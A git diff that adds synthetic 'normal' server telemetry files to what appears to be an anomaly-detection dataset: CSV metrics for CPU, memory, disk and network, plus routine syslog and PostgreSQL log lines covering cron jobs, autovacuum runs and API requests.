vacuum of table "postgres.public.user_events": index scans: 1, pages: 0 removed, 52588 remaining, 0 skipped due to pins, 11 skipped frozen +Aug 20 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 20 10:02:35 web-app[1234]: GET /api/v1/user/30 status=200 OK +Aug 20 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 20 10:03:25 web-app[1234]: GET /api/v1/user/48 status=200 OK +Aug 20 10:03:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 10:03:35 web-app[1234]: GET /api/v1/user/26 status=200 OK +Aug 20 10:03:40 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 20 10:03:45 CRON[5045]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:03:50 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 20 10:03:55 web-app[1234]: GET /api/v1/user/28 status=200 OK +Aug 20 10:04:05 web-app[1234]: GET /api/v1/user/43 status=200 OK +Aug 20 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 20 10:04:25 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 20 10:04:30 web-app[1234]: GET /api/v1/user/28 status=200 OK +Aug 20 10:04:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 10:04:40 web-app[1234]: GET /api/v1/user/35 status=200 OK +Aug 20 10:04:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 10:04:50 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 20 10:04:55 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 20 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 20 10:05:10 web-app[1234]: GET /api/v1/user/19 status=200 OK +Aug 20 10:05:30 web-app[1234]: GET /api/v1/user/22 status=200 OK +Aug 20 10:05:35 web-app[1234]: GET /api/v1/user/49 status=200 OK +Aug 20 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 20 10:05:55 web-app[1234]: GET /api/v1/user/38 status=200 OK +Aug 20 10:06:05 web-app[1234]: GET /api/v1/user/31 status=200 OK +Aug 20 10:06:15 CRON[5075]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:06:20 web-app[1234]: GET /api/v1/user/41 status=200 OK +Aug 20 10:06:35 web-app[1234]: GET /api/v1/user/19 status=200 OK +Aug 20 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 20 10:06:45 web-app[1234]: GET /api/v1/user/49 status=200 OK +Aug 20 10:07:20 web-app[1234]: GET /api/v1/user/37 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_30.csv b/norm_dataset/scenario_13/norm_13_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..cd0ea9f4b74df155aef4b0380962258995377e71 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,16.17,40.47,21.42,1.1,0.98 +2025-08-27T10:00:05Z,12.6,35.84,21.55,0.9,0.7 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+2025-08-27T10:06:50Z,17.24,42.1,23.34,1.19,1.06 +2025-08-27T10:06:55Z,10.06,44.31,27.16,0.89,0.74 +2025-08-27T10:07:00Z,12.45,44.35,25.22,0.85,0.9 +2025-08-27T10:07:05Z,10.46,42.88,21.47,0.89,0.9 +2025-08-27T10:07:10Z,14.74,35.37,23.81,1.1,0.8 +2025-08-27T10:07:15Z,19.95,38.31,21.09,1.0,0.99 +2025-08-27T10:07:20Z,10.51,39.66,34.72,0.99,0.96 +2025-08-27T10:07:25Z,19.75,41.62,33.41,0.99,0.87 diff --git a/norm_dataset/scenario_13/norm_13_30.log b/norm_dataset/scenario_13/norm_13_30.log new file mode 100644 index 0000000000000000000000000000000000000000..fc590b5dde4423ddc634a44ff3eddfc9a735c130 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_30.log @@ -0,0 +1,20 @@ +Aug 27 10:00:01 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:11 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:00:27 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:00:33 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:36 web-app[1234]: GET /api/v1/user/7 status=200 OK +Aug 27 10:02:17 systemd[1]: Starting daily clean up activities... +Aug 27 10:02:23 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:40 postgres[4321]: [1-1] INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 remain, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:11 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:03:34 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 27 10:04:05 systemd[1]: Starting daily clean up activities... +Aug 27 10:04:30 postgres[4321]: [2-1] INFO: automatic vacuum of table "db1.public.events" completed +Aug 27 10:04:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:05:38 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 27 10:06:32 web-app[1234]: GET /api/v1/user/7 status=200 OK +Aug 27 10:06:41 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:48 web-app[1234]: GET /api/v1/user/7 status=200 OK +Aug 27 10:06:58 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 27 10:07:11 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:07:12 web-app[1234]: GET /api/v1/user/7 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_4.csv b/norm_dataset/scenario_13/norm_13_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..159b360eed6efb88c77033a8c30ff7c5f67af601 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,13.67,43.28,12.0,0.96,0.94 +2025-07-03T10:00:05Z,16.4,47.95,10.19,0.72,0.6 +2025-07-03T10:00:10Z,14.7,41.82,9.49,0.77,0.76 +2025-07-03T10:00:15Z,14.24,42.77,8.02,0.82,0.64 +2025-07-03T10:00:20Z,19.1,41.96,6.17,0.99,0.85 +2025-07-03T10:00:25Z,11.66,44.38,11.13,0.54,0.81 +2025-07-03T10:00:30Z,16.65,46.08,9.63,1.05,0.58 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+2025-07-03T10:07:15Z,16.19,42.84,11.98,0.9,0.92 +2025-07-03T10:07:20Z,15.59,43.48,7.72,1.25,0.63 +2025-07-03T10:07:25Z,17.31,46.7,10.07,1.08,0.84 diff --git a/norm_dataset/scenario_13/norm_13_4.log b/norm_dataset/scenario_13/norm_13_4.log new file mode 100644 index 0000000000000000000000000000000000000000..29848c5ca5fa8029d8536798162fb38fc509874f --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_4.log @@ -0,0 +1,21 @@ +Jul 03 10:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:35 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:01:10 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:45 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:02:20 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:02:30 postgres[5432]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 11 skipped frozen +Jul 03 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:55 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:03:30 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:05 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:04:40 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:04:55 postgres[5432]: INFO: automatic vacuum of table "public.events" done +Jul 03 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:15 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:05:50 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:25 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:07:00 web-app[1234]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_5.csv b/norm_dataset/scenario_13/norm_13_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..dfefe2a97d969f9d2ad3057bcbe53344e161bc8c --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T22:10:00Z,16.530654882964992,49.5466726621733,26.524452203305692,1.2327691972500603,0.7594681822231449 +2025-08-20T22:10:05Z,14.349277131777766,46.46568041868469,24.29477472129663,1.7199214859513403,0.7540970802451897 +2025-08-20T22:10:10Z,15.186815499817278,41.87025937484611,27.269352517474626,1.4239933302726082,1.0286476741699606 +2025-08-20T22:10:15Z,16.574311748058438,45.64941259456795,35.046137839862595,1.547447029610387,0.5100120362969882 +2025-08-20T22:10:20Z,16.79605701727375,44.47137988944049,37.1516006225228,1.643918370152023,1.0151672905970024 +2025-08-20T22:10:25Z,14.97957476796361,42.71762075175565,32.04246194128234,1.3905248930239054,0.751620698101016 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b/norm_dataset/scenario_13/norm_13_5.log new file mode 100644 index 0000000000000000000000000000000000000000..d9dc25e851ae9a1eaa9ff5c61ad21edd01dfc1e9 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_5.log @@ -0,0 +1,33 @@ +Aug 20 22:10:00 systemd[1]: Starting daily clean up activities... +Aug 20 22:10:00 web-app[1234]: GET /api/v1/user/39 status=200 OK +Aug 20 22:10:20 web-app[1234]: GET /api/v1/user/48 status=200 OK +Aug 20 22:10:40 web-app[1234]: GET /api/v1/user/29 status=200 OK +Aug 20 22:11:00 web-app[1234]: GET /api/v1/user/25 status=200 OK +Aug 20 22:11:15 systemd[1]: Starting daily clean up activities... +Aug 20 22:11:20 web-app[1234]: GET /api/v1/user/27 status=200 OK +Aug 20 22:11:40 web-app[1234]: GET /api/v1/user/46 status=200 OK +Aug 20 22:12:00 web-app[1234]: GET /api/v1/user/32 status=200 OK +Aug 20 22:12:20 web-app[1234]: GET /api/v1/user/30 status=200 OK +Aug 20 22:12:30 systemd[1]: Starting daily clean up activities... +Aug 20 22:12:40 postgres[5678]: INFO: starting automatic vacuum of table "public.events" +Aug 20 22:12:40 web-app[1234]: GET /api/v1/user/24 status=200 OK +Aug 20 22:13:00 web-app[1234]: GET /api/v1/user/21 status=200 OK +Aug 20 22:13:20 postgres[5678]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 528 remain, 0 skipped due to pins, 0 skipped frozen +Aug 20 22:13:20 web-app[1234]: GET /api/v1/user/29 status=200 OK +Aug 20 22:13:40 web-app[1234]: GET /api/v1/user/28 status=200 OK +Aug 20 22:13:45 systemd[1]: Starting daily clean up activities... +Aug 20 22:14:00 postgres[5678]: INFO: automatic vacuum of table "public.user_sessions": index scans: 1, pages: 12 removed, 301 remain, 0 skipped due to pins, 0 skipped frozen +Aug 20 22:14:00 web-app[1234]: GET /api/v1/user/38 status=200 OK +Aug 20 22:14:20 web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 20 22:14:40 web-app[1234]: GET /api/v1/user/30 status=200 OK +Aug 20 22:14:50 postgres[5678]: INFO: automatic vacuum of table "public.events" complete +Aug 20 22:15:00 systemd[1]: Starting daily clean up activities... +Aug 20 22:15:00 web-app[1234]: GET /api/v1/user/39 status=200 OK +Aug 20 22:15:20 web-app[1234]: GET /api/v1/user/35 status=200 OK +Aug 20 22:15:40 web-app[1234]: GET /api/v1/user/19 status=200 OK +Aug 20 22:16:00 web-app[1234]: GET /api/v1/user/21 status=200 OK +Aug 20 22:16:15 systemd[1]: Starting daily clean up activities... +Aug 20 22:16:20 web-app[1234]: GET /api/v1/user/47 status=200 OK +Aug 20 22:16:40 web-app[1234]: GET /api/v1/user/23 status=200 OK +Aug 20 22:17:00 web-app[1234]: GET /api/v1/user/43 status=200 OK +Aug 20 22:17:20 web-app[1234]: GET /api/v1/user/15 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_6.csv b/norm_dataset/scenario_13/norm_13_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..cc07d909f85459902a6cecb45dceffbb705f43f9 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_6.csv @@ -0,0 +1,91 @@ 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--report /etc/cron.hourly) +Aug 21 10:02:05 postgres[1521]: INFO: checkpoint complete +Aug 21 10:02:30 postgres[1521]: INFO: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 512 remain, 0 skipped due to pins, 0 skipped frozen, 0 new frozen, 100% done +Aug 21 10:03:20 postgres[1521]: INFO: automatic vacuum of table "db1.public.users": index scans: 1, pages: 256 removed, 1024 remain, 0 skipped due to pins, 0 skipped frozen, 0 new frozen, 100% done +Aug 21 10:04:10 postgres[1521]: INFO: automatic vacuum of table "db1.public.orders": index scans: 1, pages: 128 removed, 2048 remain, 0 skipped due to pins, 0 skipped frozen, 0 new frozen, 100% done +Aug 21 10:05:00 postgres[1521]: INFO: checkpoint starting: time +Aug 21 10:05:50 web-app[1234]: GET /api/v1/status status=200 OK +Aug 21 10:06:15 postgres[1521]: INFO: checkpoint complete +Aug 21 10:07:05 web-app[1234]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_7.csv b/norm_dataset/scenario_13/norm_13_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..d966f2647f143094c158137ddcb91a2754f49cb4 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,disk_io,mem_usage,net_in,net_out +2025-08-23T03:00:00Z,21.87,22.38,55.23,1.77,0.87 +2025-08-23T03:00:05Z,23.82,32.32,52.97,1.4,1.11 +2025-08-23T03:00:10Z,23.43,28.86,53.13,1.32,0.92 +2025-08-23T03:00:15Z,19.88,26.84,57.67,1.42,1.04 +2025-08-23T03:00:20Z,20.55,27.86,55.89,1.49,1.1 +2025-08-23T03:00:25Z,19.08,28.27,56.51,1.61,0.87 +2025-08-23T03:00:30Z,18.06,25.83,58.96,1.24,0.79 +2025-08-23T03:00:35Z,18.12,27.35,56.99,1.31,0.97 +2025-08-23T03:00:40Z,21.1,31.75,54.58,1.45,0.77 +2025-08-23T03:00:45Z,19.93,33.61,57.25,1.77,1.43 +2025-08-23T03:00:50Z,25.08,33.59,57.51,1.88,0.65 +2025-08-23T03:00:55Z,17.47,31.69,52.62,1.5,0.75 +2025-08-23T03:01:00Z,25.28,31.1,54.31,1.3,1.04 +2025-08-23T03:01:05Z,18.09,29.59,52.1,1.36,1.02 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/dev/null +++ b/norm_dataset/scenario_13/norm_13_7.log @@ -0,0 +1,18 @@ +2025-08-23 03:00:10 UTC [201] LOG: connection received: host=app-server-1 port=54321 +2025-08-23 03:00:45 UTC [201] LOG: connection authorized: user=prod_user database=main_db +2025-08-23 03:01:30 UTC [201] LOG: statement: SELECT "users".* FROM "users" WHERE "users"."id" = 123 +2025-08-23 03:02:10 UTC [201] LOG: statement: UPDATE "products" SET "inventory" = "inventory" - 1 WHERE "id" = 456 +2025-08-23 03:02:32 UTC [305] LOG: automatic vacuum of table "main_db.public.orders": index scans: 1, pages: 0 removed, 256 remain, 0 skipped due to pins, 0 skipped frozen +2025-08-23 03:02:38 UTC [305] INFO: starting vacuum of table "main_db.public.orders" +2025-08-23 03:02:45 UTC [305] DETAIL: scanned 350 of 1000 pages; estimated 650 pages remaining +2025-08-23 03:03:00 UTC [305] DETAIL: scanned 700 of 1000 pages; estimated 300 pages remaining +2025-08-23 03:03:15 UTC [305] DETAIL: scanned 950 of 1000 pages; estimated 50 pages remaining +2025-08-23 03:03:30 UTC [305] INFO: vacuuming "pg_toast_2619" index "pg_toast_2619_index" +2025-08-23 03:03:45 UTC [305] INFO: index "orders_pkey" now contains 500000 row versions in 2000 pages +2025-08-23 03:04:08 UTC [305] LOG: automatic vacuum of table "main_db.public.orders": system usage: CPU: user: 0.52s, system: 0.15s, elapsed: 1.50s +2025-08-23 03:04:30 UTC [201] LOG: connection received: host=app-server-2 port=54322 +2025-08-23 03:05:00 UTC [201] LOG: connection authorized: user=report_user database=main_db +2025-08-23 03:05:30 UTC [201] LOG: statement: SELECT COUNT(*) FROM "orders" WHERE "created_at" > '2025-08-23' +2025-08-23 03:06:05 UTC [201] LOG: connection received: host=app-server-1 port=54323 +2025-08-23 03:06:30 UTC [201] LOG: connection authorized: user=prod_user database=main_db +2025-08-23 03:07:00 UTC [201] LOG: statement: SELECT "products".* FROM "products" WHERE "category" = 'electronics' diff --git a/norm_dataset/scenario_13/norm_13_8.csv b/norm_dataset/scenario_13/norm_13_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..2e9edb24dbfed7090ebf7ce6f42bd49e495fdfe7 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,10.09,40.48,14.76,1.09,0.56 +2025-08-23T10:00:05Z,10.26,42.53,14.77,0.9,1.09 +2025-08-23T10:00:10Z,14.83,43.78,15.33,1.14,1.17 +2025-08-23T10:00:15Z,11.73,44.47,19.59,1.31,1.03 +2025-08-23T10:00:20Z,12.53,42.12,18.17,1.45,0.92 +2025-08-23T10:00:25Z,11.78,40.75,17.45,0.98,0.59 +2025-08-23T10:00:30Z,12.97,42.36,18.7,1.24,1.14 +2025-08-23T10:00:35Z,12.71,43.49,9.94,0.8,1.07 +2025-08-23T10:00:40Z,11.28,44.18,10.86,0.93,0.66 +2025-08-23T10:00:45Z,11.6,44.43,9.92,1.44,0.56 +2025-08-23T10:00:50Z,11.47,41.61,16.15,1.03,0.6 +2025-08-23T10:00:55Z,13.89,40.57,18.41,1.09,1.12 +2025-08-23T10:01:00Z,13.41,44.6,10.77,1.2,1.06 +2025-08-23T10:01:05Z,14.84,40.94,11.94,1.42,0.81 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+++ b/norm_dataset/scenario_13/norm_13_8.log @@ -0,0 +1,18 @@ +2025-08-23 10:00:04.000 UTC [3222] LOG: disconnection: session time: 0:09:55.814 user=app_user database=prod_db +2025-08-23 10:00:38.000 UTC [3222] LOG: disconnection: session time: 0:05:10.547 user=grafana database=prod_db +2025-08-23 10:01:07.000 UTC [3222] LOG: disconnection: session time: 0:08:19.233 user=grafana database=prod_db +2025-08-23 10:01:57.000 UTC [3222] LOG: disconnection: session time: 0:02:32.237 user=grafana database=prod_db +2025-08-23 10:02:20.000 UTC [3222] LOG: connection received: host=10.1.2.3 port=5432 user=replicator database=prod_db +2025-08-23 10:02:24.000 UTC [3222] LOG: disconnection: session time: 0:04:48.513 user=grafana database=prod_db +2025-08-23 10:02:29.000 UTC [3222] LOG: connection received: host=10.1.2.3 port=5432 user=replicator database=analytics_db +2025-08-23 10:02:36.000 UTC [3222] LOG: automatic vacuum launcher starting +2025-08-23 10:03:06.000 UTC [3227] INFO: automatic vacuum of table "prod_db.public.events": index scans: 1, pages: 7467 removed, 125 remain, tuples: 132740 removed, 63005 remain +2025-08-23 10:04:53.000 UTC [3227] LOG: automatic vacuum of table "prod_db.public.events": system usage: CPU 2.03s/user 0.74s/sys, elapsed 137000.00ms +2025-08-23 10:05:06.000 UTC [3222] LOG: disconnection: session time: 0:01:21.182 user=app_user database=prod_db +2025-08-23 10:05:22.000 UTC [3222] LOG: disconnection: session time: 0:09:44.145 user=admin database=prod_db +2025-08-23 10:05:46.000 UTC [3222] LOG: disconnection: session time: 0:02:12.163 user=admin database=prod_db +2025-08-23 10:06:10.000 UTC [3222] LOG: connection received: host=10.1.2.3 port=5432 user=app_user database=analytics_db +2025-08-23 10:06:30.000 UTC [3222] LOG: disconnection: session time: 0:02:28.517 user=grafana database=prod_db +2025-08-23 10:06:56.000 UTC [3222] LOG: connection received: host=10.1.2.3 port=5432 user=app_user database=prod_db +2025-08-23 10:07:09.000 UTC [3222] LOG: connection received: host=10.1.2.3 port=5432 user=admin database=prod_db +2025-08-23 10:07:10.000 UTC [3222] LOG: disconnection: session time: 0:04:34.985 user=admin database=prod_db diff --git a/norm_dataset/scenario_13/norm_13_9.csv b/norm_dataset/scenario_13/norm_13_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..0c99bb53aefd9acbdfcddb7f4bb390b78a224f90 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,16.55,43.46,23.44,0.95,0.81 +2025-08-23T10:00:05Z,15.84,39.17,22.87,1.22,0.71 +2025-08-23T10:00:10Z,17.83,40.44,26.54,1.13,0.85 +2025-08-23T10:00:15Z,14.06,39.33,22.86,0.76,0.62 +2025-08-23T10:00:20Z,14.27,39.1,25.88,0.76,0.91 +2025-08-23T10:00:25Z,13.75,41.88,28.57,0.91,0.45 +2025-08-23T10:00:30Z,14.12,41.04,26.3,1.13,0.51 +2025-08-23T10:00:35Z,19.91,40.11,25.18,0.91,0.8 +2025-08-23T10:00:40Z,15.18,38.86,26.94,1.08,0.8 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+2025-08-23T10:07:25Z,17.45,38.67,25.49,0.83,0.91 diff --git a/norm_dataset/scenario_13/norm_13_9.log b/norm_dataset/scenario_13/norm_13_9.log new file mode 100644 index 0000000000000000000000000000000000000000..897794d30de3d902aca96a625ed69588fabba192 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_9.log @@ -0,0 +1,18 @@ +Aug 23 10:00:12 postgres[1532]: [2-1] LOG: checkpoint starting: time +Aug 23 10:00:45 postgres[1532]: [3-1] LOG: checkpoint complete: wrote 8 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.003 s, sync=0.001 s, total=0.010 s; sync files=3, longest=0.001 s, average=0.001 s; distance=38 kB, estimate=38 kB +Aug 23 10:01:50 postgres[2815]: [3-1] LOG: statement: SELECT count(*) FROM orders WHERE status = 'pending'; +Aug 23 10:02:35 postgres[1530]: [1-1] INFO: Compaction starting for level 1... +Aug 23 10:02:42 postgres[1530]: [2-1] LOG: automatic vacuum of table "db.public.events": index scans: 1, pages: 0 removed, 150 remaining, 0 skipped due to pins, 0 skipped frozen; CPU num: 2, user: 0.02 s, sys: 0.01 s, rel: 0.08 s; I/O read: 0.05 MB, write: 0.00 MB +Aug 23 10:02:58 postgres[2815]: [4-1] LOG: statement: UPDATE products SET stock = stock - 1 WHERE id = 1234; +Aug 23 10:03:15 postgres[1530]: [3-1] LOG: automatic vacuum of table "db.public.logs": index scans: 1, pages: 28 removed, 512 remaining, 0 skipped due to pins, 0 skipped frozen; CPU num: 2, user: 0.05 s, sys: 0.01 s, rel: 0.15 s; I/O read: 0.12 MB, write: 0.00 MB +Aug 23 10:03:32 postgres[2815]: [5-1] LOG: statement: SELECT * FROM customers WHERE email = 'test@example.com'; +Aug 23 10:03:50 postgres[1530]: [4-1] LOG: automatic vacuum of table "db.public.user_sessions": index scans: 1, pages: 10 removed, 300 remaining, 0 skipped due to pins, 0 skipped frozen; CPU num: 2, user: 0.03 s, sys: 0.00 s, rel: 0.10 s; I/O read: 0.08 MB, write: 0.00 MB +Aug 23 10:04:05 postgres[2815]: [6-1] LOG: statement: SELECT product_id, AVG(rating) FROM reviews GROUP BY product_id; +Aug 23 10:04:20 postgres[1530]: [5-1] INFO: Compaction for level 1 is 50% complete. +Aug 23 10:04:35 postgres[1530]: [6-1] LOG: automatic vacuum of table "db.public.products": index scans: 1, pages: 0 removed, 80 remaining, 0 skipped due to pins, 0 skipped frozen; CPU num: 2, user: 0.01 s, sys: 0.00 s, rel: 0.04 s; I/O read: 0.02 MB, write: 0.00 MB +Aug 23 10:04:55 postgres[1530]: [7-1] INFO: Compaction for level 1 finished successfully. +Aug 23 10:05:20 postgres[2815]: [7-1] LOG: statement: INSERT INTO orders (customer_id, product_id, quantity) VALUES (5, 1234, 1); +Aug 23 10:05:55 postgres[1532]: [4-1] LOG: checkpoint starting: time +Aug 23 10:06:25 postgres[2815]: [8-1] LOG: statement: SELECT * FROM orders WHERE customer_id = 5; +Aug 23 10:06:50 postgres[1532]: [5-1] LOG: checkpoint complete: wrote 12 buffers (0.1%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.005 s, sync=0.002 s, total=0.015 s; sync files=4, longest=0.001 s, average=0.001 s; distance=45 kB, estimate=45 kB +Aug 23 10:07:15 postgres[2815]: [9-1] LOG: statement: DELETE FROM cart_items WHERE session_id = 'xyz-abc'; diff --git a/norm_dataset/scenario_14/norm_14_1.csv b/norm_dataset/scenario_14/norm_14_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..bd1de54c4d6b868bde73a520020110e68afc6aba --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-07-03T10:00:00Z,23.07,37.38,22.85,0.86,0.93,1 +2025-07-03T10:00:05Z,22.43,36.24,30.43,1.32,0.79,3 +2025-07-03T10:00:10Z,21.18,41.58,34.29,0.81,1.19,0 +2025-07-03T10:00:15Z,20.58,41.58,25.93,1.29,1.12,1 +2025-07-03T10:00:20Z,23.87,37.99,29.14,1.12,0.88,2 +2025-07-03T10:00:25Z,23.07,36.73,35.78,1.16,0.95,3 +2025-07-03T10:00:30Z,23.33,35.99,24.84,1.17,1.01,1 +2025-07-03T10:00:35Z,19.1,38.54,24.86,1.3,0.84,3 +2025-07-03T10:00:40Z,19.85,43.92,25.62,0.99,0.85,4 +2025-07-03T10:00:45Z,17.26,42.89,29.26,0.88,1.17,2 +2025-07-03T10:00:50Z,24.66,44.88,27.38,0.82,0.85,4 +2025-07-03T10:00:55Z,18.18,41.51,26.72,0.93,1.3,2 +2025-07-03T10:01:00Z,23.11,39.2,34.74,1.37,1.07,1 +2025-07-03T10:01:05Z,22.68,37.0,37.39,1.01,1.05,1 +2025-07-03T10:01:10Z,21.17,35.53,28.88,1.18,0.9,0 +2025-07-03T10:01:15Z,20.2,40.91,38.21,1.32,1.27,2 +2025-07-03T10:01:20Z,22.83,41.48,20.67,0.81,0.88,0 +2025-07-03T10:01:25Z,20.3,40.44,24.89,0.96,0.8,2 +2025-07-03T10:01:30Z,16.63,42.98,31.75,1.44,1.24,2 +2025-07-03T10:01:35Z,22.31,36.9,29.54,1.08,1.03,3 +2025-07-03T10:01:40Z,17.14,36.8,28.39,0.88,1.27,1 +2025-07-03T10:01:45Z,21.84,36.0,39.32,0.83,1.07,4 +2025-07-03T10:01:50Z,18.55,41.14,39.75,0.82,1.14,4 +2025-07-03T10:01:55Z,17.3,41.69,30.47,0.87,0.89,4 +2025-07-03T10:02:00Z,19.81,39.99,20.69,0.96,1.1,3 +2025-07-03T10:02:05Z,22.92,37.82,22.54,1.27,1.03,3 +2025-07-03T10:02:10Z,22.7,40.44,21.46,1.04,0.94,0 +2025-07-03T10:02:15Z,20.89,37.26,28.72,1.25,0.97,4 +2025-07-03T10:02:20Z,15.36,35.22,34.08,1.15,1.17,0 +2025-07-03T10:02:25Z,20.73,35.02,29.45,1.17,1.25,4 +2025-07-03T10:02:30Z,16.76,42.8,28.32,1.33,1.16,1 +2025-07-03T10:02:35Z,24.1,39.71,28.46,1.49,1.15,1 +2025-07-03T10:02:40Z,17.47,40.51,28.25,0.86,1.03,1 +2025-07-03T10:02:45Z,23.73,41.25,37.93,1.21,0.98,3 +2025-07-03T10:02:50Z,22.07,39.48,27.8,1.12,1.18,2 +2025-07-03T10:02:55Z,15.91,40.25,39.84,0.8,1.05,3 +2025-07-03T10:03:00Z,20.24,35.34,25.22,0.95,1.02,4 +2025-07-03T10:03:05Z,20.12,39.82,24.89,0.99,1.1,4 +2025-07-03T10:03:10Z,17.41,35.16,26.35,0.9,1.26,3 +2025-07-03T10:03:15Z,23.32,35.27,20.33,1.21,0.77,1 +2025-07-03T10:03:20Z,24.11,42.16,39.07,1.5,1.24,4 +2025-07-03T10:03:25Z,20.53,44.62,26.6,1.39,0.82,3 +2025-07-03T10:03:30Z,24.73,40.7,27.35,1.07,1.12,3 +2025-07-03T10:03:35Z,20.99,36.97,30.07,1.48,1.0,4 +2025-07-03T10:03:40Z,21.29,35.98,33.59,1.36,1.22,3 +2025-07-03T10:03:45Z,20.9,39.78,22.42,1.4,0.8,4 +2025-07-03T10:03:50Z,21.41,36.44,20.38,0.96,0.81,1 +2025-07-03T10:03:55Z,22.05,35.93,20.54,0.82,0.79,4 +2025-07-03T10:04:00Z,22.11,36.79,28.35,1.05,1.24,4 +2025-07-03T10:04:05Z,15.86,35.24,24.08,1.2,1.15,2 +2025-07-03T10:04:10Z,19.78,40.26,22.22,1.43,0.87,2 +2025-07-03T10:04:15Z,15.88,35.36,28.29,1.43,0.84,3 +2025-07-03T10:04:20Z,17.13,41.68,36.12,1.09,0.79,3 +2025-07-03T10:04:25Z,17.92,40.66,20.19,1.48,1.26,0 +2025-07-03T10:04:30Z,17.93,38.75,24.99,0.85,0.91,3 +2025-07-03T10:04:35Z,18.23,43.77,20.46,0.94,1.27,4 +2025-07-03T10:04:40Z,24.73,38.57,36.34,0.9,1.16,0 +2025-07-03T10:04:45Z,21.74,39.82,34.73,1.34,1.0,3 